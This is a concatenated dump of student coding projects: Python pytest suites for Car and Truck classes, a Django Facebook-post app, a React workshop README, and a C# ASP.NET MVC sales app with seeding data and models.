# Arrange
color = 'Red'
# Act
with pytest.raises(Exception) as exception:
assert Car(color=color, max_speed=max_speed,
acceleration=acceleration, tyre_friction=tyre_friction)
# Assert
assert str(exception.value) == 'Invalid value for max_speed'
@pytest.mark.parametrize("max_speed, acceleration, tyre_friction",
[(210, '10', 3), (100, 0, 10), (180, -30, 20)])
def test_car_object_acceleration_when_acceleration_value_is_invalid_raises_exception(max_speed, acceleration, tyre_friction):
# Arrange
color = 'Red'
# Act
with pytest.raises(Exception) as exception:
assert Car(color=color, max_speed=max_speed,
acceleration=acceleration, tyre_friction=tyre_friction)
# Assert
assert str(exception.value) == 'Invalid value for acceleration'
@pytest.mark.parametrize("max_speed, acceleration, tyre_friction",
[(210, 30, '10'), (100, 20, -1), (180, 40, 0)])
def test_car_object_tyre_friction_when_tyre_friction_value_is_invalid_raises_exception(max_speed, acceleration, tyre_friction):
# Arrange
color = 'Red'
#Act
with pytest.raises(Exception) as exception:
assert Car(color=color, max_speed=max_speed,
acceleration=acceleration, tyre_friction=tyre_friction)
# Assert
assert str(exception.value) == 'Invalid value for tyre_friction'
<file_sep>/clean_code/clean_code_submissions/clean_code_assignment_002/tests/test_car_accelerate.py
import pytest
from car import Car
def test_car_object_accelerate_when_engine_is_started_returns_current_speed(car):
# Arrange
car.start_engine()
current_speed = 40
# Act
car.accelerate()
# Assert
assert car.current_speed == current_speed
def test_car_object_accelerate_when_car_object_current_speed_is_equal_to_car_object_max_speed_limit_returns_max_speed(car):
# Arrange
car.start_engine()
max_speed = 200
# Act
car.accelerate()
car.accelerate()
car.accelerate()
car.accelerate()
car.accelerate()
# Assert
assert car.current_speed == max_speed
def test_car_object_accelerate_when_car_engine_is_stop_returns_start_the_engine_to_accelerate(capsys, car):
# Act
car.accelerate()
captured = capsys.readouterr()
# Assert
assert captured.out == 'Start the engine to accelerate\n'
@pytest.mark.parametrize(
"color, max_speed, acceleration, tyre_friction", [
('Red', 1, 1, 1), ('Blue', 150, 30, 10),
('Black', 200, 40, 10)])
def test_car_object_accelerate_when_car_object_current_speed_is_more_than_car_object_max_speed_limit_returns_max_speed(color, max_speed, acceleration, tyre_friction):
# Arrange
car = Car(color=color, max_speed=max_speed, acceleration=acceleration,
tyre_friction=tyre_friction)
car.start_engine()
# Act
car.accelerate()
car.accelerate()
car.accelerate()
car.accelerate()
car.accelerate()
car.accelerate()
car.accelerate()
# Asset
assert car.current_speed == max_speed
def test_car_object_current_speed_when_car_object_is_in_idle_postion_intially_returns_zero():
# Arrange
car = Car(color='Red', max_speed=180, acceleration=45, tyre_friction=4)
# Act
car_idle_initial_speed = car.current_speed
# Act
assert car_idle_initial_speed == 0
def test_car_object_current_speed_when_car_object_engine_is_stopped_from_motion_returns_current_speed():
# Arrange
car = Car(color='Red', max_speed=180, acceleration=45, tyre_friction=4)
car.start_engine()
current_speed = 135
car.accelerate()
car.accelerate()
car.accelerate()
# Act
car.stop_engine()
# Assert
assert car.current_speed == current_speed
<file_sep>/covid_extra_py_files/add_data_for_state_cumulative_wise_report_interactor.py
# from covid_dashboard.interactors.storages.state_storage_interface \
# import StateStorageInterface
# from covid_dashboard.interactors.presenters.presenter_interface \
# import PresenterInterface
# from covid_dashboard.exceptions.exceptions \
# import InvalidStateIdException
# class AddDataForStateCumulativeWiseReportInteractor:
# def __init__(self,
# state_storage: StateStorageInterface,
# presenter: PresenterInterface):
# self.state_storage = state_storage
# self.presenter = presenter
# def add_data_for_state_cumulative_wise_report(
# self,
# state_id: int,
# total_confirmed_cases: int,
# total_active_cases: int,
# total_deaths: int,
# total_recovered_cases: int
# ):
# try:
# self.state_storage.validate_state_id(state_id)
# except InvalidStateIdException:
# self.presenter.raise_state_exception_if_state_id_is_invalid()
# return
# cumulative_state_wise_report_dto = self.state_storage. \
# add_data_for_state_cumulative_wise_report(
# state_id=state_id,
# total_confirmed_cases=total_confirmed_cases,
# total_active_cases=total_active_cases,
# total_deaths=total_deaths,
# total_recovered_cases=total_recovered_cases)
# return self.presenter. \
# get_response_add_data_for_state_cumulative_wise_report(
# cumulative_state_wise_report_dto=
# cumulative_state_wise_report_dto)
<file_sep>/backend-PY/prac.py
# class C:
# counter = 0
# def __init__(self):
# self.counter += 1
# def __del__(self):
# self.counter -= 1
# if __name__ == "__main__":
# x = C()
# print("Number of instances: : " + str(C.counter))
# y = C()
# print("Number of instances: : " + str(C.counter))
# del x
# print("Number of instances: : " + str(C.counter))
# del y
# print("Number of instances: : " + str(C.counter))
class Employee:
gvk = '{} {}'.format('GANDHAM', 'VINAY')
aki = 'AKI','CHANDU',70000
def __init__(self,first_name,last_name,salary):
self.first_name = first_name
self.last_name = last_name
self.salary = salary
self.email = first_name + '.' + last_name + '@<EMAIL>'
def fullname(self):
return '{} {}'.format(self.first_name, self.last_name)
#gvk =Employee('GANDHAM','VINAY',70000)
n = input('Enter no of Employees do you what to know: ')
for _ in range(int(n)):
employee_name = input('Enter employee name: ').split()
print(Employee.gvk)
# print(emp1)
# print(emp2)
# print(emp1.email)
# print(emp2.email)
# print()
# #print(emp1.fullname())
# #print()
# #print(emp2.fullname())
# #print('{} {}'.format(emp1.first_name, emp1.last_name))
<file_sep>/clean_code/clean_code_submissions/clean_code_assignment_004/fb_post/.~c9_invoke_59biPw.py
from django.test import TestCase
# Create your tests here.
from fb_post.utils import *
import pytest
from freezegun import freeze_time
import datetime
pytestmark = pytest.mark.django_db
@pytest.fixture
def user():
User.objects.create(name = 'Vinay', profile_pic = '<EMAIL>')
@pytest.fixture
def post(user):
user = User.objects.get(name)
Post.objects.create(content = 'post1', )
" Task 02 "
def test_create_post_when_user_is_inavlid_raises_inavlid_user_exception(user):
# Arrange
invalid_user_id = 2
post_content = 'post1'
# Act
with pytest.raises(InvalidUserException) as e: # Asserting the exception
assert create_post(invalid_user_id, post_content)
def test_create_post_when_post_content_is_inavlid_raises_inavlid_post_content_exception(user):
# Arrange
valid_user_id = User.objects.get(name = 'Vinay').id
post_content = ''
# Act
with pytest.raises(InvalidPostContent) as e: # Asserting the exception
assert create_post(valid_user_id, post_content)
@freeze_time("2012-01-14")
def test_create_post_when_valid_user_id_and_post_content_are_given_returns_post_id(user):
# Arrange
user_id = User.objects.get(name = 'Vinay').id
# Act
post_id = create_post(user_id,'post1')
# Assert
post_object = Post.objects.get(id = post_id)
assert post_object.posted_by_id == user_id
assert post_object.content == 'post1'
assert post_object.posted_at.replace(tzinfo = None) == datetime.datetime.now()
" Task 03 "
"""
def test_create_comment_when_user_id_is_inavlid_raises_inavlid_user_exception(user, post):
# Arrange
invalid_user_id = 2
post_id = Post.objects.get(name = 'post1')
# Act
with pytest.raises(InvalidUserException) as e: # Asserting the exception
assert create_comment(user_id, post_id, comment_content)
def test_create_comment_when_post_id_is_inavlid_raises_inavlid_post_exception(user_id, post_id, comment_content):
def test_create_comment_when_comment_content_is_inavlid_raises_inavlid_comment_content_exception(user_id, post_id, comment_content):
def test_create_post_when_valid_user_id_and_post_content_are_given_returns_post_id(user_id, post_id, comment_content):
"""
"""""
# task 1
test_user_construction_object_when_invalid_raises_exception
test_post_construction_object_when_invalid_raises_exception
test_comment_construction_object_when_invalid_raises_exception
test_reaction_construction_object_when_invalid_raises_exception
# task 2
test_create_post_when_user_is_inavlid_raises_inavlid_user_exception
test_create_post_when_post_content_is_inavlid_raises_inavlid_post_content_exception
test_create_post_when_valid_user_id_and_post_content_are_given_returns_post_id
# task 3
test_create_comment_when_user_id_is_inavlid_raises_inavlid_user_exception
test_create_comment_when_post_id_is_inavlid_raises_inavlid_post_exception
test_create_comment_when_comment_content_is_inavlid_raises_inavlid_comment_content_exception
test_create_post_when_valid_user_id_and_post_content_are_given_returns_post_id
# task 4
test_reply_to_comment_when_user_id_is_inavlid_raises_inavlid_user_exception
test_reply_to_comment_when_comment_id_is_inavlid_raises_inavlid_comment_exception
test_reply_to_comment_when_reply_content_is_inavlid_raises_inavlid_reply_content_exception
test_reply_to_comment_if_comment_id_corresponds_to_reply_create_post_object_returns_created_comment_id
# task 5
test_react_to_post_when_user_id_is_inavlid_raises_inavlid_user_exception
test_react_to_post_when_post_id_is_inavlid_raises_inavlid_post_exception
test_react_to_post_when_reaction_type_is_invalid_raises_invalid_reaction_type_exception
test_react_to_post_create_reaction_if_user_is_reacting_to_post_for_first_time_with_valid_details_creates_reaction_object
test_react_to_post_when_user_already_reacted_to_post_and_user_reaction_type_is_same_as_given_reaction_type_then_delete_the_existing_reaction_of_user
test_react_to_post_when_user_already_reacted_to_post_and_user_reaction_type_is_different_from_given_reaction_type_then_update_the_existing_reaction_of_user_with_latest_date_and_time
# task 6
test_react_to_comment_when_user_id_is_inavlid_raises_inavlid_user_exception
test_react_to_comment_when_comment_id_is_inavlid_raises_inavlid_comment_exception
test_react_to_comment_when_reaction_type_is_invalid_raises_invalid_reaction_type_exception
test_react_to_comment_create_reaction_if_user_is_reacting_to_comment_for_first_time_with_valid_details_creates_reaction_object
test_react_to_comment_when_user_already_reacted_to_comment_and_user_reaction_type_is_same_as_given_reaction_type_then_delete_the_existing_reaction_of_user
test_react_to_comment_when_user_already_reacted_to_comment_and_user_reaction_type_is_different_from_given_reaction_type_then_update_the_existing_reaction_of_user_with_latest_date_and_time
# task 7
test_get_total_reaction_count_if_user_reactions_are_available_returns_total_reactions_count_in_dictionary
test_get_total_reaction_count_if_user_reactions_are_unavailable_returns_total_reactions_count_with_zero_value_in_dictionary
# task 8
test_get_reaction_metrics_when_post_id_is_inavlid_raises_inavlid_post_exception
test_get_reaction_metrics_if_post_has_reactions_returns_total_number_of_reactions_for_each_reaction_type_in_dictionary
test_get_reaction_metrics_if_post_has_no_reactions_returns_empty_dictionary
# task 9
test_delete_post_when_user_id_is_inavlid_raises_inavlid_user_exception
test_delete_post_when_post_id_is_inavlid_raises_inavlid_post_exception
test_delete_post_when_user_is_not_the_creator_of_post_raises_user_cannot_delete_post_exception
test_delete_post_when_user_is_the_creator_of_post_delete_the_post_object
# task 10
test_get_posts_with_more_positive_reactions_if_positive_reactions_of_post_greater_than_negative_reactions_of_post_returns_post_ids_of_posts_in_list
test_get_posts_with_more_positive_reactions_if_positive_reactions_of_post_not_greater_than_negative_reactions_of_post_returns_empty_list
# task 11
test_get_posts_reacted_by_user_when_user_id_is_inavlid_raises_inavlid_user_exception
test_get_posts_reacted_by_user_when_user_reacts_to_posts_returns_post_ids_of_user_reacted_posts_in_list
test_get_posts_reacted_by_user_when_user_does_not_react_to_any_posts_returns_empty_list
# task 12
test_get_reactions_to_post_when_post_id_is_inavlid_raises_inavlid_post_exception
test_get_reactions_to_post_if_post_has_reactions_returns_list_of_dictionaries_of_user_details_of_post
test_get_reactions_to_post_if_post_has_no_reactions_returns_empty_list
"""""<file_sep>/clean_code/clean_code_submissions/clean_code_assignment_004/fb_post/utils/__init__.py
from .fb_post_create_post import create_post
from .fb_post_create_comment import create_comment
from .fb_post_reply_to_comment import reply_to_comment
from .fb_post_react_to_post import react_to_post
from .fb_post_react_to_comment import react_to_comment
from .fb_post_get_total_reaction_count import get_total_reaction_count
from .fb_post_get_reaction_metrics import get_reaction_metrics
from .fb_post_delete_post import delete_post
from .fb_post_get_posts_with_more_positive_reactions import (
get_posts_with_more_positive_reactions)
from .fb_post_get_posts_reacted_by_user import get_posts_reacted_by_user
from .fb_post_get_reactions_to_post import get_reactions_to_post
from .fb_post_get_post import get_post
from .fb_post_get_user_posts import get_user_posts
from .fb_post_get_replies_for_comment import get_replies_for_comment
__all__ = ['create_post',
'create_comment',
'reply_to_comment',
'react_to_post',
'react_to_comment',
'get_total_reaction_count',
'get_reaction_metrics',
'delete_post',
'get_posts_with_more_positive_reactions',
'get_posts_reacted_by_user',
'get_reactions_to_post',
'get_post',
'get_user_posts',
'get_replies_for_comment'
]
<file_sep>/clean_code/clean_code_submissions/clean_code_assignment_004/fb_post/tests/test_get_reaction_metrics.py
import pytest
from fb_post.exceptions import InvalidPostException
from fb_post.constants import ReactionType
from fb_post.utils import get_reaction_metrics
pytestmark = pytest.mark.django_db
def test_get_reaction_metrics_when_post_id_is_invalid_raises_invalid_post_exception(reaction):
# Arrange
invalid_post_id = 100
# Act
with pytest.raises(InvalidPostException):
assert get_reaction_metrics(invalid_post_id)
def test_get_reaction_metrics_if_post_has_reactions_returns_total_number_of_reactions_for_each_reaction_type_in_dictionary(reaction):
# Arrange
post_id = 1
reaction_metrics_dict = {ReactionType.WOW.value: 1,
ReactionType.LIT.value: 1}
# Act
each_reaction_type_metrics_dict = get_reaction_metrics(post_id)
# Assert
assert reaction_metrics_dict == each_reaction_type_metrics_dict
def test_get_reaction_metrics_if_post_has_no_reactions_returns_empty_dictionary(reaction):
# Arrange
post_id = 5
reaction_metrics_dict = {}
# Act
each_reaction_type_metrics_dict = get_reaction_metrics(post_id)
# Assert
assert reaction_metrics_dict == each_reaction_type_metrics_dict
<file_sep>/BackEnd-Assignment-01/user.py
from User import User
user_object = User("New User")
print(user_object.get_counter()) <file_sep>/clean_code/clean_code_submissions/clean_code_assignment_001/truck.py
from car import Car
class Truck(Car):
_horn = '<NAME>'
def __init__(self, max_speed, acceleration, tyre_friction,
max_cargo_weight, color=None):
super().__init__(max_speed, acceleration, tyre_friction, color)
self._max_cargo_weight = max_cargo_weight
self._cargo_weight = 0
super().check_negative_zero_and_string_type(max_cargo_weight,
'max_cargo_weight')
@property
def max_cargo_weight(self):
return self._max_cargo_weight
def load(self, load_cargo_weight):
super().check_negative_zero_and_string_type(load_cargo_weight,
'cargo_weight')
if self._current_speed != 0:
print('Cannot load cargo during motion')
else:
cargo_weight_with_load = self._cargo_weight + load_cargo_weight
if cargo_weight_with_load <= self._max_cargo_weight:
self._cargo_weight += load_cargo_weight
else:
comment_to_be_raised = self.cannot_load_cargo_weight()
print(comment_to_be_raised)
def cannot_load_cargo_weight(self):
max_cargo_weight = self._max_cargo_weight
return 'Cannot load cargo more than max limit: {}'.format(
max_cargo_weight)
def unload(self, unload_cargo_weight):
super().check_negative_zero_and_string_type(unload_cargo_weight,
'cargo_weight')
if self._current_speed != 0:
print('Cannot unload cargo during motion')
else:
if self._cargo_weight >= unload_cargo_weight:
self._cargo_weight -= unload_cargo_weight
else:
print("Can't unload cargo less than given unload cargo weight")
<file_sep>/clean_code/clean_code_submissions/clean_code_assignment_002/tests/test_truck_encapsulation.py
import pytest
######## *********** Testing Encapusulation *********** ########
def test_encapsulation_of_truck_object_color(truck):
# Act
with pytest.raises(Exception) as exception:
truck.color = 'Black'
# Assert
assert str(exception.value) == "can't set attribute"
def test_encapsulation_of_truck_object_acceleration(truck):
# Act
with pytest.raises(Exception) as exception:
truck.acceleration = 20
# Assert
assert str(exception.value) == "can't set attribute"
def test_encapsulation_of_truck_object_max_speed(truck):
# Act
with pytest.raises(Exception) as exception:
truck.max_speed = 400
# Assert
assert str(exception.value) == "can't set attribute"
def test_encapsulation_of_truck_object_tyre_friction(truck):
# Act
with pytest.raises(Exception) as exception:
truck.tyre_friction = 40
# Assert
assert str(exception.value) == "can't set attribute"
def test_encapsulation_of_truck_object_max_cargo_weight(truck):
# Act
with pytest.raises(Exception) as exception:
truck.max_cargo_weight = 300
# Assert
assert str(exception.value) == "can't set attribute"
def test_encapsulation_of_truck_object_is_engine_started(truck):
# Act
with pytest.raises(Exception) as exception:
truck.is_engine_started = True
# Assert
assert str(exception.value) == "can't set attribute"
def test_encapsulation_of_truck_object_current_speed(truck):
# Act
with pytest.raises(Exception) as exception:
truck.current_speed = 300
# Assert
assert str(exception.value) == "can't set attribute"
<file_sep>/clean_code/clean_code_submissions/clean_code_assignment_002/tests/test_truck_load.py
import pytest
from truck import Truck
def test_load_to_truck_when_truck_is_in_motion_returns_cannot_load_cargo_during_motion(capsys, truck):
# Arrange
truck.start_engine()
truck.accelerate()
load_cargo_weight = 40
# Act
truck.load(load_cargo_weight)
captured = capsys.readouterr()
# Asset
assert captured.out == 'Cannot load cargo during motion\n'
@pytest.mark.parametrize(
"""color, max_speed, acceleration, tyre_friction, max_cargo_weight,
load_cargo_weight""", [
('Red', 200, 50, 20, 180, 30), ('Blue', 150, 25, 25, 100, 1),
('Black', 250, 20, 30, 100, 90)])
def test_load_to_truck_when_truck_is_idle_and_truck_cargo_weight_is_less_than_max_cargo_weight_then_truck_is_loaded_with_given_load_returns_load_cargo_weight(color, max_speed, acceleration, tyre_friction, max_cargo_weight, load_cargo_weight):
# Arrange
truck = Truck(color=color, max_speed=max_speed, acceleration=acceleration,
tyre_friction=tyre_friction,
max_cargo_weight=max_cargo_weight)
truck.start_engine()
# Act
truck.load(load_cargo_weight)
# Assert
assert truck.cargo_weight == load_cargo_weight
@pytest.mark.parametrize(
"""color, max_speed, acceleration, tyre_friction, max_cargo_weight,
load_cargo_weight""", [
('Red', 200, 50, 20, 180, 30), ('Blue', 150, 25, 25, 100, 1),
('Black', 250, 20, 30, 100, 90), ('Green', 200, 50, 20, 180, 180)])
def test_load_to_truck_when_truck_engine_is_started_and_not_in_motion_and_truck_cargo_weight_is_less_than_max_cargo_weight_then_truck_is_loaded_with_given_load_returns_load_cargo_weight(color, max_speed, acceleration, tyre_friction, max_cargo_weight, load_cargo_weight):
# Arrange
truck = Truck(color=color, max_speed=max_speed, acceleration=acceleration,
tyre_friction=tyre_friction,
max_cargo_weight=max_cargo_weight)
truck.start_engine()
# Act
truck.load(load_cargo_weight)
# Assert
assert truck.cargo_weight == load_cargo_weight
@pytest.mark.parametrize(
"""max_speed, acceleration, tyre_friction, max_cargo_weight,
load_cargo_weight""", [
(200, 50, 20, 180, 95), (150, 25, 25, 100, 60)])
def test_load_to_truck_when_truck_is_idle_and_truck_cargo_weight_is_more_than_max_cargo_weight_then_truck_is_loaded_with_given_load_returns_max_cargo_weight(max_speed, acceleration, tyre_friction, max_cargo_weight, load_cargo_weight, capsys):
# Arrange
color = 'Red'
truck = Truck(color=color, max_speed=max_speed, acceleration=acceleration,
tyre_friction=tyre_friction,
max_cargo_weight=max_cargo_weight)
limit_message = 'Cannot load cargo more than max limit: {}\n'.format(
max_cargo_weight)
# Act
truck.load(load_cargo_weight)
truck.load(load_cargo_weight)
captured = capsys.readouterr()
# Assert
assert captured.out == limit_message
def test_load_to_truck_when_truck_is_idle_and_truck_cargo_weight_is_equal_to_max_cargo_weight_then_truck_is_loaded_with_given_load_returns_max_cargo_weight(capsys, truck):
# Arrange
truck = Truck(color='Blue', max_speed=150, acceleration=25,
tyre_friction=25, max_cargo_weight=100)
load_cargo_weight = 150
limit_message = 'Cannot load cargo more than max limit: {}\n'.format(
truck.max_cargo_weight)
# Act
truck.load(load_cargo_weight)
captured = capsys.readouterr()
# Assert
assert captured.out == limit_message
<file_sep>/clean_code/clean_code_submissions/clean_code_assignment_001/race_car.py
import math
from car import Car
class RaceCar(Car):
_horn = 'Peep Peep\nBeep Beep'
def __init__(self, max_speed, acceleration, tyre_friction, color=None):
super().__init__(max_speed, acceleration, tyre_friction, color)
self._nitro = 0
@property
def nitro(self):
return self._nitro
def accelerate(self):
super().accelerate()
if self._nitro:
self._current_speed += math.ceil(self._acceleration * 0.3)
if self._current_speed >= self._max_speed:
self._current_speed = self._max_speed
self._nitro -= 10
def apply_brakes(self):
if self._current_speed > (self._max_speed//2):
self._nitro += 10
super().apply_brakes()
<file_sep>/clean_code/clean_code_submissions/clean_code_assignment_002/tests/test_race_car_start_or_stop.py
def test_race_car_object_when_engine_is_started_returns_true(race_car):
# Arrange
race_car.start_engine()
# Act
car_engine_start = race_car.is_engine_started
# Assert
assert car_engine_start is True
def test_race_car_object_when_engine_is_started_twice_returns_true(race_car):
# Arrange
race_car.start_engine()
race_car.start_engine()
# Act
car_engine_start = race_car.is_engine_started
# Assert
assert car_engine_start is True
def test_race_car_object_when_engine_is_stop_returns_false(race_car):
# Arrange
race_car.stop_engine()
# Act
car_engine_stop = race_car.is_engine_started
# Assert
assert car_engine_stop is False
def test_race_car_object_when_engine_is_stop_twice_returns_false(race_car):
# Arrange
race_car.stop_engine()
race_car.stop_engine()
# Act
car_engine_stop = race_car.is_engine_started
# Assert
assert car_engine_stop is False
<file_sep>/bitcoin_tracker/historical_data/migrations/0003_customer_created_on.py
# Generated by Django 3.0 on 2020-07-07 09:04
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('historical_data', '0002_customer'),
]
operations = [
migrations.AddField(
model_name='customer',
name='created_on',
field=models.DateField(auto_now=True),
),
]
<file_sep>/clean_code/clean_code_submissions/clean_code_assignment_004/fb_post/test_get_posts_with_factory.py
import unittest
import pytest
from fb_post.exceptions import InvalidPostException
from fb_post.constants import ReactionType
from fb_post.utils import get_post
from fb_post.models import User, Post
from freezegun import freeze_time
from .factory_sample import *
#@freeze_time("2012-09-10 00:00:00.00")
@pytest.fixture
def user_objects():
UserFactory.create_batch(size=5)
@pytest.fixture
@freeze_time("2012-09-10 00:00:00.00")
def post_objects():
PostFactory.create_batch(size=3)
@pytest.fixture
@freeze_time("2012-09-10 00:00:00.00")
def comment_objects():
PostCommentFactory.create_batch(size=2)
ReplyCommentFactory.create_batch(size=2)
@pytest.fixture
@freeze_time("2012-09-10 00:00:00.00")
def reaction_bjects():
PostReactionsFactory.create_batch(size=2)
CommentReactionsFactory.create_batch(size=2)
ReplyCommentReactionsFactory.create_batch(size=1)
pytestmark = pytest.mark.django_db
def test_get_post_with_valid_details(
user_objects, post_objects,
comment_objects, reaction_bjects,
snapshot):
# Arrange
post_id = 1
# Act
dict_of_post_details = get_post(post_id)
# Assert
snapshot.assert_match(
dict_of_post_details['post_id'], 'resultant_post_id')
snapshot.assert_match(
dict_of_post_details['posted_by'], 'resultant_posted_by')
snapshot.assert_match(
dict_of_post_details['posted_at'], 'resultant_posted_at')
snapshot.assert_match(
dict_of_post_details['comments'], 'resultant_post_comments')
snapshot.assert_match(
dict_of_post_details['comments_count'],
'resultant_post_comments_count')
def _check_assert_of_comments_objects_list(comments, snapshot):
for comment in comments:
snapshot.assert_match(
comment['comment_id'], 'resultant_post_comment_id')
snapshot.assert_match(
comment['commented_at'], 'resultant_post_commented_at')
snapshot.assert_match(
comment['comment_conent'], 'resultant_post_comment_content')
| 97da03eb74a0471ed453e33bfaa21accb86542c2 | [
"Python"
] | 94 | Python | GVK289/aws_folders | 7dd364764145f84cff473e3a678c480972b49ad1 | e4b1bc5ea5bafb4d77edf3d0c6b17807a11f2b1f |
refs/heads/master | <repo_name>ericong18/ReactWorkshop<file_sep>/src/components/Reset.js
// Lets make our own Reset component<file_sep>/README.md
# React Workshop
This repository/workshop will help you get started with the basics of React.
## Getting Started
First things first, **clone** this repository and navigate into the directory of where this application is located.
Make sure you have Node.js installed. If you don't have it installed yet, click [here](https://nodejs.org/en/download/) and follow the instructions to install it. You can check if it's installed properly by doing the following in your terminal.
```
node -v
```
To run the React app and see it live, execute the following.
```
npm start
```
Your default browser should automatically open `localhost:3000`, which is where your app will run.
## Overview of Components
Our application will be comprised of 4 main components, described below.
### `App`
This component will be the main component that holds most of the logic, and be "smarter" than the other components listed below.
### `Title`
This component will show the current value of the number we're incrementing or decrementing.
### `Counter`
This component will allow us to increment or decrement our number.
### `Reset`
This component will reset our number back to 0.
## Todos
* Set up the `Title` component. ✅
* Set up the `Counter` component. ✅
* Set up the `Reset` component.
* "Plug" our components into `App`.
* Create a `state` variable in `App` to store our number.
* Pass the `state` variable in `App` to `Title`.
* Write function(s) in `Counter` and `App` to change our `state` variable number.
* Write function(s) in `Reset` and `App` to reset our `state` variable number back to 0. | eccc95c1f901d6c32079a0329f20b6caf670e386 | [
"JavaScript",
"Markdown"
] | 2 | JavaScript | ericong18/ReactWorkshop | d27b63aec4ea4c3dd4d1d14fc29fdc44bb33f88f | d93412a9a6b98f0ac09bcb4a714e18df3c9093fb |
refs/heads/master | <file_sep>using System;
using System.Collections.Generic;
using System.Linq;
using System.Threading.Tasks;
using DrVendasWebMVC.Models;
using DrVendasWebMVC.Models.Enums;
namespace DrVendasWebMVC.Data
{
public class SeedingService
{
private DrVendasWebMVCContext _context;
public SeedingService(DrVendasWebMVCContext context)
{
_context = context;
}
public void Seed()
{ //Verifica se existe registro
if (_context.Departamento.Any() ||
_context.Vendedor.Any() ||
_context.Venda.Any())
{
return; // DB has been seeded
}
Departamento d1 = new Departamento(1, "Computers");
Departamento d2 = new Departamento(2, "Electronics");
Departamento d3 = new Departamento(3, "Fashion");
Departamento d4 = new Departamento(4, "Books");
Vendedor s1 = new Vendedor(1, "<NAME>", "<EMAIL>", new DateTime(1998, 4, 21), 1000.0, d1);
Vendedor s2 = new Vendedor(2, "<NAME>", "<EMAIL>", new DateTime(1979, 12, 31), 3500.0, d2);
Vendedor s3 = new Vendedor(3, "<NAME>", "<EMAIL>", new DateTime(1988, 1, 15), 2200.0, d1);
Vendedor s4 = new Vendedor(4, "<NAME>", "<EMAIL>", new DateTime(1993, 11, 30), 3000.0, d4);
Vendedor s5 = new Vendedor(5, "<NAME>", "<EMAIL>", new DateTime(2000, 1, 9), 4000.0, d3);
Vendedor s6 = new Vendedor(6, "<NAME>", "<EMAIL>", new DateTime(1997, 3, 4), 3000.0, d2);
Venda r1 = new Venda(1, new DateTime(2018, 09, 25), 11000.0, StatusVenda.Faturado, s1);
Venda r2 = new Venda(2, new DateTime(2018, 09, 4), 7000.0, StatusVenda.Faturado, s5);
Venda r3 = new Venda(3, new DateTime(2018, 09, 13), 4000.0, StatusVenda.Cancelado, s4);
Venda r4 = new Venda(4, new DateTime(2018, 09, 1), 8000.0, StatusVenda.Faturado, s1);
Venda r5 = new Venda(5, new DateTime(2018, 09, 21), 3000.0, StatusVenda.Faturado, s3);
Venda r6 = new Venda(6, new DateTime(2018, 09, 15), 2000.0, StatusVenda.Faturado, s1);
Venda r7 = new Venda(7, new DateTime(2018, 09, 28), 13000.0, StatusVenda.Faturado, s2);
Venda r8 = new Venda(8, new DateTime(2018, 09, 11), 4000.0, StatusVenda.Faturado, s4);
Venda r9 = new Venda(9, new DateTime(2018, 09, 14), 11000.0, StatusVenda.Pendente, s6);
Venda r10 = new Venda(10, new DateTime(2018, 09, 7), 9000.0, StatusVenda.Faturado, s6);
Venda r11 = new Venda(11, new DateTime(2018, 09, 13), 6000.0, StatusVenda.Pendente, s2);
Venda r12 = new Venda(12, new DateTime(2018, 09, 25), 7000.0, StatusVenda.Pendente, s3);
Venda r13 = new Venda(13, new DateTime(2018, 09, 29), 10000.0, StatusVenda.Pendente, s4);
Venda r14 = new Venda(14, new DateTime(2018, 09, 4), 3000.0, StatusVenda.Faturado, s5);
Venda r15 = new Venda(15, new DateTime(2018, 09, 12), 4000.0, StatusVenda.Faturado, s1);
Venda r16 = new Venda(16, new DateTime(2018, 10, 5), 2000.0, StatusVenda.Faturado, s4);
Venda r17 = new Venda(17, new DateTime(2018, 10, 1), 12000.0, StatusVenda.Faturado, s1);
Venda r18 = new Venda(18, new DateTime(2018, 10, 24), 6000.0, StatusVenda.Faturado, s3);
Venda r19 = new Venda(19, new DateTime(2018, 10, 22), 8000.0, StatusVenda.Faturado, s5);
Venda r20 = new Venda(20, new DateTime(2018, 10, 15), 8000.0, StatusVenda.Faturado, s6);
Venda r21 = new Venda(21, new DateTime(2018, 10, 17), 9000.0, StatusVenda.Faturado, s2);
Venda r22 = new Venda(22, new DateTime(2018, 10, 24), 4000.0, StatusVenda.Faturado, s4);
Venda r23 = new Venda(23, new DateTime(2018, 10, 19), 11000.0, StatusVenda.Cancelado, s2);
Venda r24 = new Venda(24, new DateTime(2018, 10, 12), 8000.0, StatusVenda.Faturado, s5);
Venda r25 = new Venda(25, new DateTime(2018, 10, 31), 7000.0, StatusVenda.Faturado, s3);
Venda r26 = new Venda(26, new DateTime(2018, 10, 6), 5000.0, StatusVenda.Faturado, s4);
Venda r27 = new Venda(27, new DateTime(2018, 10, 13), 9000.0, StatusVenda.Pendente, s1);
Venda r28 = new Venda(28, new DateTime(2018, 10, 7), 4000.0, StatusVenda.Faturado, s3);
Venda r29 = new Venda(29, new DateTime(2018, 10, 23), 12000.0, StatusVenda.Faturado, s5);
Venda r30 = new Venda(30, new DateTime(2018, 10, 12), 5000.0, StatusVenda.Faturado, s2);
//AddRange adiciona varios objetos de uma só vez.
_context.Departamento.AddRange(d1, d2, d3, d4);
_context.Vendedor.AddRange(s1, s2, s3, s4, s5, s6);
_context.Venda.AddRange(
r1, r2, r3, r4, r5, r6, r7, r8, r9, r10,
r11, r12, r13, r14, r15, r16, r17, r18, r19, r20,
r21, r22, r23, r24, r25, r26, r27, r28, r29, r30
);
//Para salvar as modificações
_context.SaveChanges();
}
}
}
<file_sep>using DrVendasWebMVC.Models;
using DrVendasWebMVC.Models.Enums;
using System;
namespace DrVendasWebMVC.Models
{
public class Venda
{
public int Id { get; set; }
public DateTime DataVenda{ get; set; }
public Double ValorTotal { get; set; }
public StatusVenda Status { get; set; }
//Cada venda possui um vendedor
//Dessa forma estalecemos um relacionamento um para um
public Vendedor Vendedor { get; set; }
//Vamos crias os construtores
public Venda()
{ }
public Venda(int id, DateTime dataVenda, double valorTotal, StatusVenda status, Vendedor vendedor)
{
Id = id;
DataVenda = dataVenda;
ValorTotal = valorTotal;
Status = status;
Vendedor = vendedor;
}
}
}
<file_sep>using System.Collections.Generic;
namespace DrVendasWebMVC.Models.ViewModels
{
public class VendedorFormViewModels
{
public Vendedor Vendedor { get; set; }
public List<Departamento> Departamento { get; internal set; }
private ICollection<Departamento>Departamentos { get; set; }
}
}
<file_sep>using Microsoft.EntityFrameworkCore;
namespace DrVendasWebMVC.Models
{
public class DrVendasWebMVCContext : DbContext
{
public DrVendasWebMVCContext (DbContextOptions<DrVendasWebMVCContext> options)
: base(options)
{
}
public DbSet<Departamento> Departamento { get; set; }
public DbSet<Venda> Venda { get; set; }
